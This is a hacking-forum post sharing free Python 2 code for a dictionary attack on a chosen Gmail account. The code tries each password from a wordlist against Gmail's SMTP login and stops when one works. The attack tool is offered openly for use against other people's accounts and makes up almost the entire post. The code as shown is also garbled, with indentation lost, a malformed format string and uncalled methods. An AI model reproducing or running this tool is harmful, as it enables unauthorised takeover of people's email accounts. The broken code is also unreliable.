

Forum:[Hack Forums](#)

Thread: [\[FREE\] Simple Gmail Brute Forcer Code](#)

sammyveen - October 2, 2018, 12:51 am

You will need to copy and paste the code below into a .py file

You will also need to place your wordlist in the same directory as the py file

here is the code, make sure you're running python 2.x

Code:-

```
import os
```

```
import smtplib
```

```
import sys
```

```
from colorama import init, Fore
```

```
init()
```

```
print (Fore.RED + "\n THIS FUNCTION WILL PERFORM A DICTIONARY ATTACK ON GMAIL'S  
SMTP SERVER")
```

```
session = smtplib.SMTP("smtp.gmail.com", 587)
```

```
session.ehlo()
```

```
session.starttls()
```

```
session.ehlo()
```

```
os.getcwd
```

```
User = raw_input (Fore.GREEN + " Enter The Targets Gmail Address: ")
```

```
passwfile = raw_input (Fore.GREEN + " Enter The Password List: ")
```

```
try:
```

```
passwfile = open(passwfile, "r")
```

```
except IOError:
```

```
print (Fore.RED + "[!]File Not Found")
```

```
for password in passwfile:
```

```
try:
```

```
session.login(User,password)
```

```
print (Fore.GREEN + " [+] PASSWORD FOUND: %s" % password)
```

```
break
```

```
except smtplib.SMTPAuthenticationError:
```

```
print (Fore.RED + " [!] INCORRECT: {!s".format(password))
```

```
session = smtplib.SMTP("smtp.gmail.com", 587)
```

```
session.ehlo()
```

```
session.starttls()
```

```
session.ehlo()
```

```
except smtplib.SMTPServerDisconnected:
```

```
print (Fore.RED + " [!] INCORRECT: {!s".format(password))
```

```
session = smtplib.SMTP("smtp.gmail.com", 587)
```

```
session.ehlo()
```

```
session.starttls()
```

```
session.ehlo
```

